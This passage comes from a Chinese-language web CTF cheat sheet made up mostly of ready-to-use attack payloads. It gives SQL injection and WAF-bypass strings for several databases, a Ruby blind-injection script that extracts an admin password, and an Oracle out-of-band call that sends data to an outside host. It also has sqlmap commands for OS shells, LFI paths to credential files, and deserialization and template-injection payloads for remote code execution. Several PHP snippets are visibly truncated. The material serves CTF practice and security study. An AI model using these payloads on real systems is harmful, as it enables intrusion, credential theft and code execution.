1038 | - `id=87 or ((select user()) regexp binary '^[a-z]')` 1039 | - Time 1040 | - 用在啥結果都看不到時 1041 | - `id=87 and if(length(user())>0, sleep(10), 1)=1` 1042 | - `id=87 and if(length(user())>100, sleep(10), 1)=1` 1043 | - `id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1` 1044 | - 繞過空白檢查 1045 | - `id=-1/**/UNION/**/SELECT/**/1,2,3` 1046 | - `id=-1%09UNION%0DSELECT%0A1,2,3` 1047 | - `id=(-1)UNION(SELECT(1),2,3)` 1048 | 1049 | - 寬字節注入 1050 | - `addslashes()`會讓`'`變`\'` 1051 | - 在`GBK`編碼中,中文字用兩個Bytes表示 1052 | - 其他多字節編碼也可 1053 | - 但要低位範圍有包含`0x5c`(`\`) 1054 | - 第一個Byte要>128才是中文 1055 | - `%df'` => `%df\'` => `運'` (成功逃逸) 1056 | 1057 | - Order by注入 1058 | - 可以透過`asc`、`desc`簡單判斷 1059 | - `?sort=1 asc` 1060 | - `?sort=1 desc` 1061 | - 後面不能接UNION 1062 | - 已知字段名 (可以盲注) 1063 | - `?order=IF(1=1, username, password)` 1064 | - 利用報錯 1065 | - `?order=IF(1=1,1,(select 1 union select 2))` 正確 1066 | - `?order=IF(1=2,1,(select 1 union select 2))` 錯誤 1067 | - `?order=IF(1=1,1,(select 1 from information_schema.tables))` 正常 1068 | - `?order=IF(1=2,1,(select 1 from information_schema.tables))` 錯誤 1069 | - Time Based 1070 | - `?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` 正常 1071 | - `?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` sleep 2秒 1072 | 1073 | - group by with rollup 1074 | - `' or 1=1 group by pwd with rollup limit 1 offset 2#` 1075 | 1076 | - 將字串轉成純數字 1077 | - 字串 -> 16進位 -> 10進位 1078 | - `conv(hex(YOUR_DATA), 16, 10)` 1079 | - 還原:`unhex(conv(DEC_DATA,10,16))` 1080 | - 需注意不要Overflow 1081 | 1082 | - 不使用逗號 1083 | - `LIMIT N, M` => `LIMIT M OFFSET N` 1084 | - `mid(user(), 1, 1)` => `mid(user() from 1 for 1)` 1085 | - `UNION SELECT 1,2,3` => `UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)` 1086 | 1087 | - 快速查找帶關鍵字的表 1088 | - `select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%'); 1089 | ` 1090 | 1091 | - innodb 1092 | - 表引擎為innodb 1093 | - MySQL > 5.5 1094 | - innodb_table_stats、innodb_table_index存放所有庫名表名 1095 | - `select table_name from mysql.innodb_table_stats where database_name=資料庫名;` 1096 | - Example: [Codegate2018 prequal - simpleCMS](https://github.com/w181496/CTF/tree/master/codegate2018-prequal/simpleCMS) 1097 | 1098 | - Bypass WAF 1099 | 1100 | - `select password` => `SelEcT password` (大小寫) 1101 | - `select password` => `select/**/password` (繞空白) 1102 | - `select password` => `s%65lect%20password` (URLencode) 1103 | - `select password` => `select(password)` (繞空白) 1104 | - `select password` => `select%0apassword` (繞空白) 1105 | - %09, %0a, %0b, %0c, %0d, %a0 1106 | - `select password from admin` => `select password /*!from*/ admin` (MySQL註解) 1107 | - `information_schema.schemata` => ``` `information_schema`.schemata ``` (繞關鍵字/空白) 1108 | - ``` select xxx from`information_schema`.schemata``` 1109 | - `select pass from user where id='admin'` => `select pass from user where id=0x61646d696e` (繞引號) 1110 | - `id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))` 1111 | - `?id=0e2union select 1,2,3` (科學記號) 1112 | - `?id=1union select 1,2,3`會爛 1113 | - `?id=0e1union(select~1,2,3)` (~) 1114 | - `?id=.1union select 1,2,3` (點) 1115 | - `WHERE` => `HAVING` (繞關鍵字) 1116 | - `AND` => `&&` (繞關鍵字) 1117 | - `OR` => `||` 1118 | - `=` => `LIKE` 1119 | - `a = 'b'` => `not a > 'b' and not a < 'b'` 1120 | - `> 10` => `not between 0 and 10` 1121 | - `LIMIT 0,1` => `LIMIT 1 OFFSET 0` (繞逗號) 1122 | - `substr('kaibro',1,1)` => `substr('kaibro' from 1 for 1)` 1123 | - Multipart/form-data繞過 1124 | - http://xdxd.love/2015/12/18/%E9%80%9A%E8%BF%87multipart-form-data%E7%BB%95%E8%BF%87waf/ 1125 | - 偽造User-Agent 1126 | - e.g. 有些WAF不封google bot 1127 | 1128 | ## MSSQL 1129 | 1130 | - 子字串: 1131 | - `SUBSTRING("abc", 1, 1) => 'a'` 1132 | - Ascii function 1133 | - `ascii('A') => 65 ` 1134 | - Char function 1135 | - `char(65) => 'a'` 1136 | - Concatenation 1137 | - `+` 1138 | - `'a'+'b' => 'ab'` 1139 | - Delay function 1140 | - `WAIT FOR DELAY '0:0:10'` 1141 | - 空白字元 1142 | - `01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20` 1143 | - IF語句 1144 | - IF condition true-part ELSE false-part 1145 | - `IF (1=1) SELECT 'true' ELSE SELECT 'false'` 1146 | - 註解: 1147 | - `--` 1148 | - `/**/` 1149 | - TOP 1150 | - MSSQL沒有`LIMIT N, M`的用法 1151 | - `SELECT TOP 87 * FROM xxx` 取最前面87筆 1152 | - 取第78~87筆 1153 | - `SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87` 1154 | - 其它: 1155 | - db_name() 1156 | - user_name() 1157 | - @@servername 1158 | - host_name() 1159 | - 爆DB name 1160 | - ```DB_NAME(N)``` 1161 | - ```UNION SELECT NULL,DB_NAME(N),NULL--``` 1162 | - ```UNION SELECT NULL,name,NULL FROM master ..sysdatabases--``` 1163 | - `SELECT catalog_name FROM information_schema.schemata` 1164 | - ```1=(select name from master.dbo.sysdatabases where dbid=5)``` 1165 | - 爆表名 1166 | - `SELECT table_catalog, table_name FROM information_schema.tables` 1167 | - `SELECT name FROM sysobjects WHERE xtype='U'` 1168 | - `ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--` 1169 | 1170 | - 爆column 1171 | - `SELECT table_catalog, table_name, column_name FROM information_schema.columns` 1172 | - `SELECT name FROM syscolumns WHERE id=object_id('news')` 1173 | - `ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--` 1174 | - Union Based 1175 | - Column型態必須相同 1176 | - 可用`NULL`來避免 1177 | - Error Based 1178 | - 利用型別轉換錯誤 1179 | - `id=1 and user=0` 1180 | 1181 | - 判斷是否站庫分離 1182 | - 客戶端主機名:`select host_name();` 1183 | - 服務端主機名:`select @@servername; ` 1184 | - 兩者不同即站庫分離 1185 | 1186 | - xp_cmdshell 1187 | - 在MSSQL 2000默認開啟 1188 | - MSSQL 2005之後默認關閉 1189 | - 有sa權限,可透過sp_configure重啟它 1190 | 1191 | ``` 1192 | EXEC sp_configure 'show advanced options',1 1193 | RECONFIGURE 1194 | EXEC sp_configure 'xp_cmdshell',1 1195 | RECONFIGURE 1196 | ``` 1197 | - 關閉xp_cmdshell 1198 | 1199 | ``` 1200 | EXEC sp_configure 'show advanced options', 1; 1201 | RECONFIGURE; 1202 | EXEC sp_configure'xp_cmdshell', 0; 1203 | RECONFIGURE; 1204 | ``` 1205 | 1206 | - 快速查找帶關鍵字的表 1207 | - `SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');` 1208 | 1209 | - Unicode繞過 1210 | - IIS 對 Unicode 編碼是可以解析的,即 s%u0065lect 會被解析為 select 1211 | 1212 | ## Oracle 1213 | 1214 | - `SELECT`語句必須包含`FROM` 1215 | - 用`dual`表 1216 | - 子字串: 1217 | - `SUBSTR("abc", 1, 1) => 'a'` 1218 | - 空白字元 1219 | - `00 0A 0D 0C 09 20` 1220 | - IF語句 1221 | - `IF condition THEN true-part [ELSE false-part] END IF` 1222 | - 註解: 1223 | - `--` 1224 | - 其它 1225 | - `SYS.DATABASE_NAME` 1226 | - current database 1227 | - `USER` 1228 | - current user 1229 | - `SELECT banner FROM v$version where rownum=1` 1230 | - database version 1231 | - 庫名 1232 | - `SELECT DISTINCT OWNER FROM ALL_TABLES` 1233 | - 表名 1234 | - `SELECT OWNER, TABLE_NAME FROM ALL_TABLES` 1235 | - Column 1236 | - `SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS` 1237 | - Union Based 1238 | - Column型態必須相同 1239 | - 可用`NULL`來避免 1240 | - `UNION SELECT 1, 'aa', null FROM dual` 1241 | - Error Based 1242 | - `SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1` 1243 | - Out of band 1244 | - `UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1` 1245 | 1246 | ## SQLite 1247 | 1248 | - 子字串: 1249 | - `substr(“abc",1,1) => 'a'` 1250 | - Ascii function: 1251 | - `unicode('d') => 100` 1252 | - legth 1253 | - `length('ab') => 2` 1254 | - Concatenation 1255 | - `||` 1256 | - `'a' || 'b' => 'ab'` 1257 | - Time Delay 1258 | - `randomblob(100000000)` 1259 | - 空白字元 1260 | - `0A 0D 0C 09 20` 1261 | - Case when 1262 | - SQLite沒有`if` 1263 | - 可以用`Case When ... Then ...`代替 1264 | - `case when (條件) then ... else ... end` 1265 | - 註解 1266 | - `--` 1267 | - 爆表名 1268 | - `SELECT name FROM sqlite_master WHERE type='table'` 1269 | - 爆表結構(含Column) 1270 | - `SELECT sql FROM sqlite_master WHERE type='table'` 1271 | - 其他 1272 | - `sqlite_version()` 1273 | - sqlite無法使用`\'`跳脫單引號 1274 | - Boolean Based: SECCON 2017 qual SqlSRF 1275 | 1276 |
1277 | Click here to view script 1278 | 1279 | ```ruby 1280 | # encoding: UTF-8 1281 | 1282 | # sqlite injection (POST method) (二分搜) 1283 | # SECCON sqlsrf爆admin密碼 1284 | require 'net/http' 1285 | require 'uri' 1286 | 1287 | $url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi' 1288 | $ans = '' 1289 | 1290 | (1..100).each do |i| 1291 | l = 48 1292 | r = 122 1293 | 1294 | while(l <= r) 1295 | #puts "left: #{l}, right: #{r}" 1296 | break if l == r 1297 | 1298 | mid = ((l + r) / 2) 1299 | $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1" 1300 | 1301 | res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"} 1302 | 1303 | if res.body.include? 'document.location' 1304 | l = mid + 1 1305 | else 1306 | r = mid 1307 | end 1308 | 1309 | end 1310 | $ans += l.chr 1311 | puts $ans 1312 | 1313 | end 1314 | 1315 | ``` 1316 | 1317 |
1318 | 1319 | ## PostgreSQL 1320 | 1321 | - 子字串 1322 | - `substr("abc", 1, 1) => 'a'` 1323 | - Ascii function 1324 | - `ascii('x') => 120` 1325 | - Char function 1326 | - `chr(65) => A` 1327 | - Concatenation 1328 | - `||` 1329 | - `'a' || 'b' => 'ab'` 1330 | - Delay function 1331 | - `pg_sleep(5)` 1332 | - `GENERATE_SERIES(1, 1000000)` 1333 | - 空白字元 1334 | - `0A 0D 0C 09 20` 1335 | - encode / decode 1336 | - `encode('123\\000\\001', 'base64')` => `MTIzAAE=` 1337 | - `decode('MTIzAAE=', 'base64')` => `123\000\001` 1338 | - 不支援limit N, M 1339 | - `limit a offset b` 略過前b筆,抓出a筆出來 1340 | - 註解 1341 | - `--` 1342 | - `/**/` 1343 | - 爆庫名 1344 | - `SELECT datname FROM pg_database` 1345 | - 爆表名 1346 | - `SELECT tablename FROM pg_tables WHERE schemaname='dbname'` 1347 | - 爆Column 1348 | - `SELECT column_name FROM information_schema.columns WHERE table_name='admin'` 1349 | - Dump all 1350 | - `array_to_string(array(select userid||':'||password from users),',')` 1351 | - 其它 1352 | - version() 1353 | - current\_database() 1354 | - user 1355 | - current_user 1356 | - `SELECT usename FROM pg_user;` 1357 | - current\_schema 1358 | - current\_query() 1359 | - inet\_server\_addr() 1360 | - inet\_server\_port() 1361 | - inet\_client\_addr() 1362 | - inet\_client\_port() 1363 | - type conversion 1364 | - `cast(count(*) as text)` 1365 | - `md5('abc')` 1366 | - `replace('abcdefabcdef', 'cd', 'XX')` => `abXXefabXXef` 1367 | - `pg_read_file(filename, offset, length)` 1368 | - 讀檔 1369 | - 只能讀data_directory下的 1370 | - `pg_ls_dir(dirname)` 1371 | - 列目錄內容 1372 | - 只能列data_directory下的 1373 | - PHP的`pg_query()`可以多語句執行 1374 | 1375 | ## ORM injection 1376 | 1377 | https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications 1378 | 1379 | - Hibernate 1380 | - 單引號跳脫法 1381 | - MySQL中,單引號用`\'`跳脫 1382 | - HQL中,用兩個單引號`''`跳脫 1383 | - `'abc\''or 1=(SELECT 1)--'` 1384 | - 在HQL是一個字串 1385 | - 在MySQL是字串+額外SQL語句 1386 | - Magic Function法 1387 | - PostgreSQL中內建`query_to_xml('Arbitary SQL')` 1388 | - Oracle中有`dbms_xmlgen.getxml('SQL')` 1389 | 1390 | HQL injection example (pwn2win 2017) 1391 | 1392 | - ```order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)``` 1393 | - Output: `ERROR: could not stat file "flag": No such file or directory` 1394 | 1395 | - ```order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)``` 1396 | - Output: `ERROR: could not stat file "secret": No such file or directory` 1397 | - `order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)` 1398 | - Output: `ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory` 1399 | 1400 | 1401 | ## SQL Injection with MD5 1402 | 1403 | - `$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";` 1404 | - ffifdyop 1405 | - md5: `276f722736c95d99e921722cf9ed621c` 1406 | - to string: `'or'6` 1407 | 1408 | ## HTTP Parameter Pollution 1409 | 1410 | - `id=1&id=2&id=3` 1411 | - ASP.NET + IIS: `id=1,2,3` 1412 | - ASP + IIS: `id=1,2,3` 1413 | - PHP + Apache: `id=3` 1414 | 1415 | ## SQLmap 1416 | 1417 | - https://github.com/sqlmapproject/sqlmap/wiki/Usage 1418 | - Usage 1419 | - `python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'` 1420 | - 庫名: `--dbs` 1421 | - 表名: `-D dbname --tables` 1422 | - column: `-D dbname -T tbname --columns` 1423 | - dump: `-D dbname -T tbname --dump` 1424 | - `--start=1` 1425 | - `--stop=5566` 1426 | - DBA? `--is-dba` 1427 | - 爆帳密: `--passwords` 1428 | - 看權限: `--privileges` 1429 | - 拿shell: `--os-shell` 1430 | - interative SQL: `--sql-shell` 1431 | - 讀檔: `--file-read=/etc/passwd` 1432 | - Delay時間: `--time-sec=10` 1433 | - User-Agent: `--random-agent` 1434 | - Thread: `--threads=10` 1435 | - Level: `--level=3` 1436 | - default: 1 1437 | - `--technique` 1438 | - default: `BEUSTQ` 1439 | - Cookie: `--cookie="abc=55667788"` 1440 | - Tor: `--tor --check-tor --tor-type=SOCKS5 --tor-port=9050` 1441 | 1442 | # LFI 1443 | 1444 | ## Testing Payload 1445 | 1446 | ### Linux / Unix 1447 | 1448 | - `./index.php` 1449 | - `././index.php` 1450 | - `.//index.php` 1451 | - `../../../../../../etc/passwd` 1452 | - `../../../../../../etc/passwd%00` 1453 | - 僅在5.3.0以下可用 1454 | - magic_quotes_gpc需為OFF 1455 | - `%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd` 1456 | - `NN/NN/NN/etc/passwd` 1457 | - `/var/log/apache2/error.log` 1458 | - `/var/log/httpd/access_log` 1459 | - `/var/log/mail.log` 1460 | - `/usr/local/apache2/conf/httpd.conf` 1461 | - `/etc/apache2/apache2.conf` 1462 | - `/etc/apache2/httpd.conf` 1463 | - `/etc/apache2/sites-available/000-default.conf` 1464 | - `/usr/local/etc/apache2/httpd.conf` 1465 | - `/etc/nginx/conf.d/default.conf` 1466 | - `/etc/nginx/nginx.conf` 1467 | - `/etc/nginx/sites-enabled/default` 1468 | - `/etc/nginx/sites-enabled/default.conf` 1469 | - `.htaccess` 1470 | - `/root/.bash_history` 1471 | - `/root/.ssh/id_rsa` 1472 | - `/root/.ssh/authorized_keys` 1473 | 1474 | ### Windows 1475 | 1476 | - `C:/Windows/win.ini` 1477 | - `C:/boot.ini` 1478 | - `C:/apache/logs/access.log` 1479 | - `../../../../../../../../../boot.ini/.......................` 1480 | - `C:/windows/system32/drivers/etc/hosts` 1481 | 1482 | ## 環境變數 1483 | 1484 | - `../../../../proc/self/environ` 1485 | - HTTP_User_Agent塞php script 1486 | 1487 | ## log文件 1488 | 1489 | - apache log 1490 | - mysql log 1491 | - mail log 1492 | - ssh log 1493 | - `/var/log/auth.log` 1494 | 1495 | 1496 | ## php://filter 1497 | 1498 | - `php://filter/convert.base64-encode/resource=index.php` 1499 | - `php://filter/read=string.rot13/resource=index.php` 1500 | 1501 | ## php://input 1502 | 1503 | - `?page=php://input` 1504 | - post data: `` 1505 | - 需要有開啟`url_allow_include`,5.4.0直接廢除 1506 | 1507 | ## phpinfo 1508 | 1509 | - 對server以form-data上傳文件,會產生tmp檔 1510 | - 利用phpinfo得到tmp檔路徑和名稱 1511 | - LFI Get shell 1512 | - 限制 1513 | - Ubuntu 17後,預設開啟`PrivateTmp`,無法利用 1514 | 1515 | ## php session 1516 | 1517 | - Session一般存在`sess_{PHPSESSID}`中 1518 | - 可以透過修改Cookie再LFI拿shell 1519 | - 以下為常見存放路徑 1520 | - /var/tmp/ 1521 | - /tmp/ 1522 | - /var/lib/php5/ 1523 | - /var/lib/php/ 1524 | - `session.upload_progress` 1525 | - PHP預設開啟 1526 | - 用來監控上傳檔案進度 1527 | - 當`session.upload_progress.enabled`開啟,可以POST在`$_SESSION`中添加資料 (`sess_{PHPSESSID}`) 1528 | - 配合LFI可以getshell 1529 | - `session.upload_progress.cleanup=on`時,可以透過Race condition 1530 | - Example 1531 | - HITCON CTF 2018 - One Line PHP Challenge 1532 | 1533 | ## data:// 1534 | 1535 | - 條件 1536 | - allow_url_fopen: On 1537 | - allow_url_include: On 1538 | - 用法 1539 | - `?file=data://text/plain,` 1540 | - `?file=data:text/plain,` 1541 | - `?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=` 1542 | 1543 | ## zip / phar 1544 | 1545 | - 適用驗證副檔名時 1546 | - zip 1547 | - 新建zip,裡頭壓縮php腳本(可改副檔名) 1548 | - `?file=zip://myzip.zip#php.jpg` 1549 | - phar 1550 | - ```php 1551 | addFromString('b.jpg', $x); 1555 | ?> 1556 | - 構造 `?file=phar://phartest.zip/b.jpg` 1557 | 1558 | ## SSI (Server Side Includes) 1559 | 1560 | - 通常放在`.shtml`, `.shtm` 1561 | - Execute Command 1562 | - `` 1563 | - File Include 1564 | - `` 1565 | - Example 1566 | - HITCON CTF 2018 - Why so Serials? 1567 | 1568 | # 上傳漏洞 1569 | 1570 | ## Javascript檢測 1571 | 1572 | - Burp Suite 中間修改 1573 | - disable javascript 1574 | 1575 | ## Bypass MIME Detection 1576 | 1577 | - Burp修改Content-Type 1578 | 1579 | ## 黑名單判斷副檔名 1580 | 1581 | - 大小寫繞過 1582 | - pHP 1583 | - AsP 1584 | - 空格 / 點 繞過 1585 | - Windows特性 1586 | - .php(空格) // burp修改 1587 | - .asp. 1588 | - php3457 1589 | - .php3 1590 | - .php4 1591 | - .php5 1592 | - .php7 1593 | - .pht 1594 | - .phtml 1595 | - .htaccess 1596 | ``` 1597 | 1598 | SetHandler application/x-httpd-php 1599 | 1600 | ``` 1601 | - 文件解析漏洞 1602 | 1603 | ## Magic Number 1604 | 1605 | - jpg 1606 | - `FF D8 FF E0 00 10 4A 46 49 46` 1607 | - gif 1608 | - `47 49 36 38 39 61` 1609 | - png 1610 | - `89 50 4E 47` 1611 | 1612 | ## 其他 1613 | - 常見場景:配合文件解析漏洞 1614 | 1615 | # 反序列化 1616 | 1617 | ## PHP - Serialize() / Unserialize() 1618 | 1619 | - `__construct()` 1620 | - Object被new時調用,但unserialize()不調用 1621 | - `__destruct()` 1622 | - Object被銷毀時調用 1623 | - `__wakeup()` 1624 | - unserialize時自動調用 1625 | - `__sleep()` 1626 | - 被serialize時調用 1627 | - `__toString()` 1628 | - 物件被當成字串時調用 1629 | 1630 |
1631 | 1632 | - Value 1633 | - String 1634 | - `s:size:value;` 1635 | - Integer 1636 | - `i:value;` 1637 | - Boolean 1638 | - `b:value;` ('1' or '0') 1639 | - NULL 1640 | - `N;` 1641 | - Array 1642 | - `a:size:{key definition; value definition; (repeat per element)}` 1643 | - Object 1644 | - `O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}` 1645 | - 其他 1646 | - C - custom object 1647 | - R - pointer reference 1648 | 1649 | 1650 | - Public / Private / Protected 序列化 1651 | 1652 | - 例如:class名字為: `Kaibro`,變數名字: `test` 1653 | 1654 | - 若為Public,序列化後: 1655 | - `...{s:4:"test";...}` 1656 | - 若為Private,序列化後: 1657 | - `...{s:12:"%00Kaibro%00test"}` 1658 | - 若為Protected,序列化後: 1659 | - `...{s:7:"%00*%00test";...}` 1660 | - Private和Protected會多兩個NULL byte 1661 | 1662 | --- 1663 | 1664 | - Example 1665 | 1666 | ```php 1667 | test); 1674 | } 1675 | } 1676 | 1677 | $input = $_GET['str']; 1678 | $kb = unserialize($input); 1679 | ``` 1680 | 1681 | - Input: `.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}` 1682 | - Output: `uid=33(www-data) gid=33(www-data) groups=33(www-data) ` 1683 | 1684 |
1685 | 1686 | - Example 2 - Private 1687 | 1688 | ```php 1689 | test); 1696 | } 1697 | } 1698 | 1699 | $input = $_GET['str']; 1700 | $kb = unserialize($input); 1701 | 1702 | ``` 1703 | 1704 | - Input: `.php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}` 1705 | 1706 | - Output: `uid=33(www-data) gid=33(www-data) groups=33(www-data)` 1707 | 1708 | --- 1709 | 1710 | - CVE-2016-7124 1711 | - 影響版本: 1712 | - PHP5 < 5.6.25 1713 | - PHP7 < 7.0.10 1714 | - 物件屬性個數大於真正的屬性個數,會略過`__wakeup`的執行 1715 | - 反序列化會失敗,但是`__destruct`會執行 1716 | - HITCON 2016 1717 | 1718 | - 小特性 1719 | - `O:+4:"test":1:{s:1:"a";s:3:"aaa";}` 1720 | - `O:4:"test":1:{s:1:"a";s:3:"aaa";}` 1721 | - 兩者結果相同 1722 | 1723 | - Phar:// 反序列化 1724 | - phar文件會將使用者自定義的metadata以序列化形式保存 1725 | - 透過`phar://`偽協議可以達到反序列化的效果 1726 | - 常見影響函數: `file_get_contents()`, `file_exists()`, `is_dir()`, ... 1727 | - Generic Gadget Chains 1728 | - [phpggc](https://github.com/ambionics/phpggc) 1729 | - Example 1730 | - HITCON CTF 2017 - Baby^H Master PHP 2017 1731 | - HITCON CTF 2018 - Baby Cake 1732 | - DCTF 2018 - Vulture 1733 | 1734 | ## Python Pickle 1735 | 1736 | - `dumps()` 將物件序列化成字串 1737 | - `loads()` 將字串反序列化 1738 | 1739 | Example: 1740 | 1741 | a.py: 1742 | 1743 | ```python 1744 | import os 1745 | import cPickle 1746 | import sys 1747 | import base64 1748 | 1749 | class Exploit(object): 1750 | def __reduce__(self): 1751 | return (os.system, ('id',)) 1752 | 1753 | shellcode = cPickle.dumps(Exploit()) 1754 | print base64.b64encode(shellcode) 1755 | ``` 1756 | 1757 | b.py: 1758 | 1759 | ```python 1760 | import os 1761 | import cPickle 1762 | import sys 1763 | import base64 1764 | 1765 | s = raw_input(":") 1766 | 1767 | print cPickle.loads(base64.b64decode(s)) 1768 | ``` 1769 | 1770 | ``` 1771 | $ python a.py > tmp 1772 | $ cat tmp | python b.py 1773 | uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) 1774 | ``` 1775 | 1776 | ## Ruby/Rails Marshal 1777 | 1778 | this one is not self-executing 1779 | 1780 | this one actually relies on rails invoking a method on the resulting object after the deserialization 1781 | 1782 | ```ruby 1783 | erb = ERB.allocate 1784 | erb.instance_variable_set :@src, "`id`" 1785 | depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation 1786 | hash = {depr => 'something'} 1787 | marshalled = Marshal.dump(hash) 1788 | print marshalled 1789 | ``` 1790 | 1791 | 在ERB上,當result或run method被call時,@src的string會被執行 1792 | 1793 | - 常見使用情境: 1794 | - 以Marshal為Cookie Serializer時,若有`secret_key`,則可以偽造Cookie 1795 | - 也可以透過`DeprecatedInstanceVariableProxy`去執行ERB的`result`來RCE 1796 | - 當`DeprecatedInstanceVariableProxy`被unmarshal,rails session對他處理時遇到不認識的method就會呼叫`method_missing`,導致執行傳入的ERB 1797 | - `@instance.__send__(@method)` 1798 | 1799 | - Cookie Serializer 1800 | - Rails 4.1以前的Cookie Serializer為Marshal 1801 | - Rails 4.1開始,默認使用JSON 1802 | 1803 | ## Ruby/Rails YAML 1804 | 1805 | - CVE-2013-0156 1806 | - 舊版本的Rails中,`XML`的node可以自訂type,如果指定為`yaml`,是會被成功解析的 1807 | - 若反序列化`!ruby/hash`,則相當於在物件上調用`obj[key]=val`,也就是`[]=`方法 1808 | - 而這個`ActionDispatch::Routing::RouteSet::NamedRouteCollection`中的`[]=`方法中,有一條代碼路徑可以eval 1809 | - `define_hash_access`中可以看到`module_eval`,裏頭的`selector`來自`name` 1810 | - 因為他還會對`value`調用`defaults` method,所以可以利用`OpenStruct`來構造 1811 | - `函數名=>返回值`的對應關係存放在`@table`中 1812 | - Payload: 1813 | ```ruby 1814 | xml = %{ 1815 | 1816 | 1817 | ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection 1818 | 'test; sleep(10); test' : 1819 | !ruby/object:OpenStruct 1820 | table: 1821 | :defaults: {} 1822 | 1823 | 1824 | }.strip 1825 | ``` 1826 | - CVE-2013-0333 1827 | - Rails 2.3.x和3.0.x中,允許`text/json`的request轉成`YAML`解析 1828 | - `Yaml`在Rails 3.0.x是預設的`JSON Backend` 1829 | - 出問題的地方在於`YAML.load`前的`convert_json_to_yaml`,他不會檢查輸入的JSON是否合法 1830 | - 一樣可以透過`ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access`的`module_eval`來RCE 1831 | 1832 | ## Java Deserialization 1833 | 1834 | - https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet 1835 | 1836 | ## .NET Derserialization 1837 | 1838 | - [ysoserial.net](https://github.com/pwntester/ysoserial.net) 1839 | - asp.net中ViewState以序列化形式保存資料 1840 | - 有machinekey或viewstate未加密/驗證時,可以RCE 1841 | - Example 1842 | - HITCON CTF 2018 - Why so Serials? 1843 | 1844 | # SSTI 1845 | 1846 | Server-Side Template Injection 1847 | 1848 | ![img](https://i.imgur.com/GVZeVq6.png) 1849 | 1850 | ## Testing 1851 | - ` {{ 7*'7' }}` 1852 | - Twig: `49` 1853 | - Jinja2: `7777777` 1854 | - `<%= 7*7 %>` 1855 | - Ruby ERB: `49` 1856 | 1857 | ## Flask/Jinja2 1858 | - Dump all used classes 1859 | - `{{ ''.__class__.__mro__[2].__subclasses__() }} 1860 | ` 1861 | - Read File 1862 | - `{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}` 1863 | - Write File 1864 | - `{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}` 1865 | - RCE 1866 | - `{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}` 1867 | - evil config 1868 | - `{{ config.from_pyfile('/tmp/evilconfig.cfg') }}` 1869 | - load config 1870 | - `{{ config['RUNCMD']('cat flag',shell=True) }}` 1871 | 1872 | - RCE (another way) 1873 | - `{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}` 1874 | - 過濾中括號 1875 | - `__getitem__` 1876 | - `{{''.__class__.__mro__.__getitem__(2)}}` 1877 | - `{{''.__class__.__mro__[2]}}` 1878 | - 過濾`{{` or `}}` 1879 | - 用`{%%}` 1880 | - 執行結果往外傳 1881 | - 過濾`.` 1882 | - `{{''.__class__}}` 1883 | - `{{''['__class__']}}` 1884 | - `{{''|attr('__class__')}}` 1885 | - 用request繞 1886 | - `{{''.__class__}}` 1887 | - `{{''[request.args.kaibro]}}&kaibro=__class__` 1888 | 1889 | ## AngularJS 1890 | - v1.6後移除Sandbox 1891 | - Payload 1892 | - `{{ 7*7 }}` => 49 1893 | - `{{ this }}` 1894 | - `{{ this.toString() }}` 1895 | - `{{ constructor.toString() }}` 1896 | - `{{ 